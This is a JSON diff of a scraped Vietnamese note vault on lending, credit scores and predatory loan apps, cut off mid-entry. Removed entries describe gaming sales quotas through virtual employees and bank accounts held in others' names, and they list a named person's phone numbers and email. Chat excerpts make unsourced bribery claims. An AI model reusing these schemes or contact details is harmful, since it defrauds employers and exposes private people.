"Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3P" }, { - "Tiêu đề": "Điểm tín dụng (CIC) là cách để các ngân hàng đánh giá khả năng trả nợ của mình", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Điểm tín dụng (CIC) là cách để các ngân hàng đánh giá khả năng trả nợ của mình", + "Tiêu đề": "Trả tiền bằng mã QR có lợi nếu cần bán tốc độ", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Trung gian thanh toán/Trả tiền bằng mã QR có lợi nếu cần bán tốc độ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Nợ]], [[Điểm tín dụng]]\n[[Có những người dù thực sự thấy không có khả năng trả nợ vẫn chấp nhận vay app đen còn hơn mất điểm tín dụng]]\n\nNguồn:: \n", + "Toàn bộ nội dung": "Ví dụ với mô hình bán cà phê mang đi, chỉ mất 30s là mang đi, thì không cần phải thối tiền, khách ở sau trả tiền luôn cũng được\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-31T06:33:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3Q" }, { - "Tiêu đề": "Điểm tín dụng", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Ngân hàng, điểm tín dụng/Điểm tín dụng", + "Tiêu đề": "Tỉ lệ sử dụng tiền mặt ở VN khoảng 12%", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Tỉ lệ sử dụng tiền mặt ở VN khoảng 12%", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n", + "Toàn bộ nội dung": "Nguồn:: Ngân hàng nhà nước VN\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-31T06:33:00.000Z", - "Ngày cập nhật": "2024-08-31T06:33:00.000Z", + "Ngày tạo": "2023-08-10T19:20:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3R" }, { - "Tiêu đề": "Vay tiền", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Vay tiền/Vay tiền", + "Tiêu đề": "Cho mượn theo nhóm đảm bảo không bị quịt hơn", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Cho mượn theo nhóm đảm bảo không bị quịt hơn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Nơi thảo luận\r\n![](https://i.imgur.com/OtW4epu.png)\r\n\r\n[[Huy động nguồn tiền nhàn rỗi]]\r\n[[Cho vay lấy lãi]]\r\n[[Các dịch vụ cho vay]] ", + "Toàn bộ nội dung": "Ứng dụng lý thuyết kinh tế học hành vi, cho 3 người vay sẽ chắc ăn hơn 1 người\nở ngoài Bắc gọi là vòng quay vốn\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-05T08:08:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3S" }, { - "Tiêu đề": "Việc tham gia vào nền kinh tế quà tặng sẽ giúp xây dựng thương hiệu", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Việc tham gia vào nền kinh tế quà tặng sẽ giúp xây dựng thương hiệu", + "Tiêu đề": "Chỉ có người thân được bảo lãnh, chứ bạn bè thì không", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Chỉ có người thân được bảo lãnh, chứ bạn bè thì không", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-30T05:11:00.000Z", + "Ngày tạo": "2024-08-13T03:20:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3T" }, { - "Tiêu đề": "Bán hàng bằng sự sợ hãi, nhưng lại xem đó là giọt mồ hôi quý giá", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Bán hàng bằng sự sợ hãi, nhưng lại xem đó là giọt mồ hôi quý giá", + "Tiêu đề": "Bên cho vay sẽ có bảo hiểm cho vay", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Bên cho vay sẽ có bảo hiểm cho vay", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \r\nĐây là lý do các bên cho vay dễ cho vay. Chỉ có bên bảo hiểm mới sợ bị mất tiền. \r\n\r\nbên khác nó ko chọn đóng bảo hiểm mà nâng lãi và chấp nhận rủi ro thì sao, mỗi bên hoạt động khác nhau\r\nOoker: Hmm nếu mà lãi cao rồi khó duyệt thì sao nó cạnh tranh đc với mấy đứa đóng?\r\nKendy: nó đều là chân rết của 1 nguồn ra thôi\r\nOoker: Nguồn nào?\r\nKendy: black china hoặc từ chính các ngân hàng con\r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-01T08:55:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3U" }, { - "Tiêu đề": "Con người hay công cụ mới là vấn đề", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Con người hay công cụ mới là vấn đề", + "Tiêu đề": "Cho vay ngang hàng kết nối trực tiếp người đi vay với người cho vay mà không thông qua các tổ chức trung gian tài chính", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Cho vay ngang hàng kết nối trực tiếp người đi vay với người cho vay mà không thông qua các tổ chức trung gian tài chính", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Nguồn:: [[Tạp chí ngân hàng]], [Hoạt động cho vay ngang hàng tại Việt Nam](https://tapchinganhang.gov.vn/hoat-dong-cho-vay-ngang-hang-tai-viet-nam.htm)\r\n[[Cho mượn theo nhóm đảm bảo không bị quịt hơn]] \r\n[Luật pháp hóa hoạt động cho vay ngang hàng tại Việt Nam | Tạp chí Kinh tế và Dự báo](https://kinhtevadubao.vn/luat-phap-hoa-hoat-dong-cho-vay-ngang-hang-tai-viet-nam-27130.html)\r\n[Cho vay ngang hàng: Đưa vào khuôn khổ - Tuổi Trẻ Online](https://tuoitre.vn/cho-vay-ngang-hang-dua-vao-khuon-kho-20220411082233424.htm)\r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2023-05-27T13:18:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3V" }, { - "Tiêu đề": "Lách luật là phạm luật một cách đúng luật", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Lách luật là phạm luật một cách đúng luật", + "Tiêu đề": "Các tài sản hay bảo hiểm chỉ là phụ thêm để tăng khả năng được duyệt, chứ hạn mức tiền vay thì đã được cố định sẵn", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Các tài sản hay bảo hiểm chỉ là phụ thêm để tăng khả năng được duyệt, chứ hạn mức tiền vay thì đã được cố định sẵn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Để trả lời câu hỏi \"Liệu lách luật là phạm luật hay làm đúng luật?\", thì phải trả lời được câu hỏi \"Luật nên được diễn giải thế nào?\". Nó nên được diễn giải theo từ ngữ, hay theo ý định ban đầu của người viết luật?\r\n\r\nBài chi tiết:: [Nguyên tắc giải thích pháp luật là gì? Có những nguyên tắc nào?](https://luatminhkhue.vn/nguyen-tac-giai-thich-phap-luat.aspx)\r\n", + "Toàn bộ nội dung": "[[Việc tạo tài khoản mới ở các app cho vay tiền thực ra không quan trọng, vì dữ liệu đã được chia sẻ hết rồi]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-06-22T10:53:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3W" }, { - "Tiêu đề": "Người bán hàng giống như giao diện giọng nói của một cái máy hơn là một con người thật", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Người bán hàng giống như giao diện giọng nói của một cái máy hơn là một con người thật", + "Tiêu đề": "Muốn trả nợ trước hạn cũng phải mất phí", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Muốn trả nợ trước hạn cũng phải mất phí", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nó bắt chước tương tác xã hội, tạo sự đồng cảm nhưng không vì mục đích đó\r\nNguồn:: [The Telemarketer Singularity](https://archive.ieet.org/articles/rinesi20150806.html)\r\n", + "Toàn bộ nội dung": "![Tất Toán Khoản Vay Trước Hạn, Nên Hay Không? Những Lưu Ý Khi Tất Toán | LuatVietnam - YouTube](https://youtu.be/KwZ54WHhJLY?si=x3St5bvr1T39HFyD)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3X" }, { - "Tiêu đề": "Thấy việc trả lương là đã đủ để NV phải cống hiến cho mình", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Thấy việc trả lương là đã đủ để NV phải cống hiến cho mình", + "Tiêu đề": "Rất nhiều các công ty cho vay lấy dữ liệu từ Viettel", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Rất nhiều các công ty cho vay lấy dữ liệu từ Viettel", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Trách nhân viên ko muốn bỏ tâm trí vào công việc, không cảm thấy có trách nhiệm cầm tay chỉ việc. Đòi hỏi nhân viên phải thay đổi tư duy, đừng đòi hỏi ở công ty\r\n- Chưa thấy một nhân viên nào có tư duy luồn lách mà vươn lên được\r\n\r\n[[Tiền là một động lực ngoại sinh cực kỳ tốt]], nhưng [[Sự cống hiến là một động lực nội sinh]]. Không thể đáp ứng \r\n", + "Toàn bộ nội dung": "Đều cùng một nguồn từ ngân hàng TQ hoặc người trong ngân hàng ra làm\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-01T09:07:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3Y" }, { - "Tiêu đề": "Tài nguyên", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Tài nguyên", + "Tiêu đề": "Thẻ tín dụng yêu cầu phải có thu nhập. Mua trước trả sau thì không", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Thẻ tín dụng yêu cầu phải có thu nhập. Mua trước trả sau thì không", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[“Siêu nhân” giải cứu đồ ăn – Foodbank Vietnam](https://foodbankvietnam.com/sieu-nhan-giai-cuu-do-an/)\r\n[Further Resources — Devilcorp.org](https://www.devilcorp.org/further-resources)\r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Thẻ tín dụng]], [[Mua trước trả sau]], [[Thu nhập]]\n\nNguồn:: [Why we’re not big on Buy Now, Pay Later – The Woke Salaryman:](https://thewokesalaryman.com/2024/07/04/why-were-not-big-on-buy-now-pay-later/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2024-09-06T06:34:00.000Z", + "Ngày cập nhật": "2024-09-07T06:23:00.000Z", "id": "3Z" }, { - "Tiêu đề": "Việc khai thác điểm yếu của con người đem lại lợi nhuận", - "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Việc khai thác điểm yếu của con người đem lại lợi nhuận", + "Tiêu đề": "Việc tạo tài khoản mới ở các app cho vay tiền thực ra không quan trọng, vì dữ liệu đã được chia sẻ hết rồi", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay có điểm tín dụng/Việc tạo tài khoản mới ở các app cho vay tiền thực ra không quan trọng, vì dữ liệu đã được chia sẻ hết rồi", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://assets-global.website-files.com/5f0e1294f002b1bb26e1f304/6273d54e9f5270706efdddef_Wisdom-Gap-Email_Human-Vulnerabilities-Technology.png) \r\nNguồn:: [The Wisdom Gap](https://www.humanetech.com/insights/the-wisdom-gap \"The Wisdom Gap - Center for Humane Technology\")\r\n", + "Toàn bộ nội dung": "nó cần a match với 1st time\r\nnên đã bảo là [[Các tài sản hay bảo hiểm chỉ là phụ thêm để tăng khả năng được duyệt, chứ hạn mức tiền vay thì đã được cố định sẵn]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-27T11:33:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3a" }, { - "Tiêu đề": "Chạy chỉ tiêu cho nhân viên các công ty", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Chạy chỉ tiêu cho nhân viên các công ty", + "Tiêu đề": "App đen có người trong các công ty viễn thông nên biết được sim đã xài trong bao lâu", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng/App đen có người trong các công ty viễn thông nên biết được sim đã xài trong bao lâu", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ như đây là yêu cầu công việc của một nhân viên bán hàng trong VNPAY:\n- Chụp hình chấm công mỗi sáng vào 8h30\n- [[Công ty không quan tâm dữ liệu cửa hàng do nhân viên gửi về có bị trùng lặp hay không|Thêm dữ liệu 10 khách hàng tiềm năng lên cơ sở dữ liệu chung mỗi ngày trong 30 ngày đầu]]\n- Giới thiệu sản phẩm tới khách hàng tiềm năng\n- Viết hợp đồng\n- Gắn mã\n- Chăm sóc khách hàng\n- Tạo được 10 hợp đồng mỗi tháng\n\nĐầu tiên, một người sẽ đóng vai trò [[Làm nhân viên ảo]] của công ty. Các công việc thực sẽ do những người khác đảm nhiệm.\n\nKhó khăn:\n- Tìm được các chủ cửa hàng chấp nhận trả tiền cho mình\n- Tìm được nhiều tài khoản ngân hàng khác chủ\n\nLiên hệ:: [[Nguyễn Hữu Lộc|Nguyễn Hữu Lộc – 0783865410]]\n\n```dataview\nLIST rows.file.link\nFROM \"📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```\n\nCộng đồng làm nhiều công ty cùng lúc bằng tiếng Anh:\n- [Overemployed](https://www.reddit.com/r/overemployed/)\n- [Overemployed ® - Work Two Remote Jobs, Reach Financial Freedom](https://overemployed.com/ \"Overemployed ® - Work Two Remote Jobs, Reach Financial Freedom\")\n\n\n\n\nMột số việc ở đây có tính hơi ăn gian, luồn lách quy định của quản lý, công ty, nền tảng (gọi tắt là người trả tiền), có thể bị đuổi khi bị phát hiện, nhưng chắc là không phạm luật. Chắc là thôi, không phải chắc chắn. Tuy nhiên, trong số chúng có những công việc thực ra người trả tiền cũng biết nhân viên mình có làm nhưng vẫn nhắm mắt làm ngơ, vì chính bản thân họ cũng có những lợi ích từ việc làm này. Ví dụ, công việc [[Đổi tiền, chụp hình biển hiệu, dán mã QR#Đổi tiền|đổi tiền]] về thực chất là gian lận công ty, và nếu bị phát hiện thì công ty sẽ phải phạt bạn. Nhưng vì [[Nhà đầu tư cho các công ty tài chính cần tiền được lưu thông]], nên [[RSM chỉ gây áp lực mồm cho ASM về việc ngăn nhân viên chạy ảo, chứ không gây áp lực qua KPI]], từ đó khiến cho [[ASM không có lợi ích gì trong việc phát hiện nhân viên có chạy ảo hay không]]. Vấn đề là nhà đầu tư chỉ quan tâm đến việc tối đa hoá lợi nhuận, chứ không quan tâm đến chất lượng sống của bạn một cách thực chất.\n\nKhông sợ các công ty tìm cách chống lại nhóm, vì mọi cách chống lại nhóm đều gây thiệt hại cho những người không muốn gian lận công ty. Cách duy nhất để chống lại là cải thiện cách đối xử với nhân viên bán hàng: giảm chỉ tiêu hoặc tăng lương. Nếu các công ty có thể làm nhóm này chết đi, thì đó là thành công của nhóm này. Nó được sinh ra với mục tiêu duy nhất là không còn cần phải tồn tại nữa.", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-28T16:05:00.000Z", - "Ngày cập nhật": "2024-08-28T07:19:00.000Z", + "Ngày tạo": "2024-08-27T06:46:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3b" }, { - "Tiêu đề": "Ghi chú về các app ngân hàng", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Tài liệu/Ghi chú về các app ngân hàng", + "Tiêu đề": "App đen thực chất là mấy thằng trung quốc đặt sever bên Campuchia với Lào ép về cho vay", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng/App đen thực chất là mấy thằng trung quốc đặt sever bên Campuchia với Lào ép về cho vay", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- **Eximbank:** bắt đăng nhập web\n- **Đông Á:** không cho mở online\n- **PVcombank:** không thực hiện video call chỉ cho hạn mức 3tr\n- **Vietin:** không cho thay đổi thiết bị giao dịch iPay vào khung giờ 23h-6h để đảm bảo an toàn bảo mật\n- **Bắc Á:** bắt gửi pass về mail\n- **Shinhan:** Bắt tạo câu hỏi bảo mật ngay lúc đăng nhập\n- **Shinhan, TP, VP:** không ghi rõ tên giao dịch với cửa hàng nào khi quẹt VNPAY\n", + "Toàn bộ nội dung": "thoát tội cho vay nặng lãi\ncó ai cho vay mà lãi 4000%/ năm ko\nOoker: tưởng ko sợ VN chứ\nKendy: sao mà ko sợ\nkhi nó bị tóm\nnó sẽ bán lại khoản nợ cho bên mua bán nợ\nvà khoản nợ đó được hợp pháp hoá\nOoker: mấy app như cake em bảo cũng đâu sợ công an đâu?\nKendy: nó là sân sau của mấy ông lớn như VP bank\nOCB\na thấy mấy số tài khoản nó nhận thuộc ngân hàng nào ko\nOCB, SHB\ntụi nó chính là tụi góp tiền cho vay nóng đấy\nOoker: vãi\nocb, shb là cái bị tóm đó hả?\nKendy: ko nó là 1 nhánh các thnahf viên có quyền lực tham gia góp tiền\nEx: Xã hội đen lập webpage cho vay, gọi góp vốn 1 tỷ trả 50tr/ tháng > tiền gửi ngân hàng 1tỷ chỉ nhận được tầm 8tr/ tháng. vậy a nghĩ người ta có thèm ko\nchính vì vậy a sẽ thấy nhân viên ngân hàng mở đường dây lấy tiền gửi của khách hàng, cho gom tiền sang những chỗ vay cao ntn để ăn lãi\nnhư SCB đợt rồi ấy, chỉ cần 1 chi nhánh ngân hàng gom tiền gửi tiết kiệm của khách, và cho ngược lại đống xã hội đen này vay thì ăn lãi có phải dầy ko\nnên mấy người này chỉ là sân sau rất khôn để né pháp luật bằng cách đóng vai cò con góp vốn thôi chứ ko vận hành\nsever đặt ở nước ngoài và thuê 1 bù nhìn ra chịu trận khi bị tóm\nOoker: thế sao công an ko điều tra bọn này luôn?\nKendy: vì cũng đc xì rồi\nđóng hụi để đc bảo kê\ntháng cầm 100 200 chai qua biếu a có nhắm mắt ko\nOoker: vậy khi nào thì công an mới chịu làm?\nKendy: có ai tự cưa chân mình ko a\nnó chỉ tóm khi nào a cúng tiền ko thoả nó thôi\nchứ toàn nuôi béo rồi thịt để lấy thành tích", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T06:51:00.000Z", + "Ngày tạo": "2024-08-23T09:39:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3c" }, { - "Tiêu đề": "Mẫu CV ảo", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Tài liệu/Mẫu CV ảo", + "Tiêu đề": "App đen, vay nóng là những cái tên cho cùng một thứ", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng/App đen, vay nóng là những cái tên cho cùng một thứ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Nguyễn Hữu Lộc\n📞 0777 85 00 94\n🏠 Bình Dương\n📧 michaelloc@hps.edu.vn\n\n## Học thuật\n- **Triết học:** Đạo luận, Phật luận, triết học Deleuze, mỹ học, hậu hiện đại, lãng mạn luận, triết học trong toán học\n- **Khoa học nhận thức:** tâm lý học nhận thức, cảm xúc, nhận thức luận, ẩn dụ\n- **Ngôn ngữ học:** ngôn ngữ học tri nhận, ngữ nghĩa học, thi pháp học, âm vị học, cú pháp học\n- **Toán và khoa học cứng:** động học niềm tin, hình học xạ ảnh, nhóm và biểu diễn, hệ vận động và phức hợp, giải tích hàm điều hòa, giải tích phức, lịch sử toán, lý thuyết thông tin, lý thuyết đồ thị\n- **Nghệ thuật:** thời trang, lý thuyết văn học\n- **Xã hội dân sự:** tâm lý học xã hội, công tác xã hội, phát triển cộng đồng, truyền thông xã hội, tâm lý học trị liệu, bạo hành tinh thần\n- **Lý thuyết đạo đức và chính trị:** đồng thuận, năng lực ra quyết định, thao túng, tự chủ, riêng tư, tin tưởng, can thiệp luận, duy hiệu quả luận, nhân quyền, công bằng, nhà nước, pháp quyền, công lý\n- **Lĩnh vực khác:** lý thuyết dịch, giao tiếp học, giao tiếp liên nhân, rhetoric & composition\n- **Y học:** viêm da dị ứng, giải phẫu\n\n## Kỹ năng\n### Lập trình\n- **Web:** TypeScript/JavaScript, Deno, Preact, WordPress, PHP, DirectAdmin, WinSCP\n- **Dữ liệu:** Python\n- **Shell script:** AutoHotKey, Regex, PowerShell, sed/grep/awk, bash\n- **Đồ thị:** Graphviz, Obsidian Dataview & Breadcrumbs, Neo4j, Cypher, vis.js\n- **Android:** Tasker\n\n### Khác\n- **Quản lý kiến thức và dự án:** OneNote, Google Keep (quản trị viên subreddit [r/GoogleKeep](https://www.reddit.com/r/GoogleKeep/)), Obsidian, Notion, Confluence, Trello\n- **Marketing:** Google Analytics, Google Tag Manager, Mouseflow, Facebook Bussiness\n- **Thiết kế:** GraphViz, vis.js, Illustrator, Paint.NET, Inkscape, Scribus, ImageMagick\n- **Xuất bản:** LaTeX, Zotero, Libre Office, jPdfBookmarks\n- **Sản xuất video:** Movavi, Audacity, VLC\n- **Productivity:** Anki, ManicTime, RescueTime\n- **Ngôn ngữ:** Tiếng Việt, Tiếng Anh (TOELF: 90, GRE: 306), Tiếng Trung (sơ cấp)\n- **Giải trí:** StarCraft, cờ vây, trượt ván, beatbox, võ thuật\n\n## Dự án - sản phẩm\n### SmartPay, 2023 - nay\nNhân viên kinh doanh: tư vấn máy cà thẻ, mã QR cho Merchant, bảo hiểm sức khoẻ, tai\nnạn, tư vấn tạo tài khoản ngân hàng, tư vấn các dịch vụ đi kèm\n### Quả Cầu, 2016 – 2022\n- [đối ⊷ thoại](https://quacau.deno.dev/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c): tự động tạo và rút gọn liên kết UTM chỉ bằng việc nhập bài đăng và nơi đăng\n- [Trấn Kỳ](https://tranky.deno.dev/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c): phân loại dữ liệu trong câu nhập bằng tiếng Việt tự nhiên\n- [Chuỗi các bài dịch về chủ đề tự trị, đồng thuận, năng lực ra quyết định, sự riêng tư, thao túng, v.v.](https://quảcầu.cc/loi-moi-cung-dich-cac-bai-viet-ve-tu-tri/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c)\n- [Mạng lưới người thân, bạn bè của người có niềm tin tiêu cực](https://quảcầu.cc/mang-luoi-nguoi-than-ban-be-nguoi-co-niem-tin-tieu-cuc/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c)\n- [Mạng lưới 100+ niềm tin phổ biến trong xã hội](https://quảcầu.cc/phan-tich-mot-mang-luoi-100-niem-tin/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c)\n\n### Trước 2021\n- [Bộ sưu tập từ điển chuyên ngành](https://quảcầu.cc/tu-dien-chuyen-nganh/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c)\n- [Bộ thẻ từ vựng tiếng Anh nâng cao (GRE Anki)](https://quảcầu.cc/bo-the-hoc-tu-vung-tieng-anh-nang-cao/?utm_source=CV+Nguy%E1%BB%85n+H%E1%BB%AFu+L%E1%BB%99c&utm_medium=CV&utm_campaign=Kh%C3%A1c)\n\n## Giáo dục\nTốt nghiệp trung học phổ thông (2017)\n\n### Các khoá học, tập huấn\n| Năm | Tên chương trình | Đơn vị tổ chức |\n| ---- | ----------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |\n| 2022 | Bình đẳng giới, đa dạng và hòa nhập trong Thời trang & Làm đẹp (GEAI Fashion) | GEAI (Tổng lãnh sự quán Mỹ bảo trợ) |\n| | Từ Chính Sách Bảo Vệ Quyền Riêng Tư Đến Thực Hành An Toàn Số | Viện Nghiên cứu Chính sách và Phát triển Truyền thông (IPS) & Oxfam Việt Nam |\n| | Triết học Deleuze | Viện nghiên cứu Đời sống xã hội (SocialLife) |\n| 2021 | Trường học về các giá trị phổ quát (SUV 10) | Trung tâm Thúc 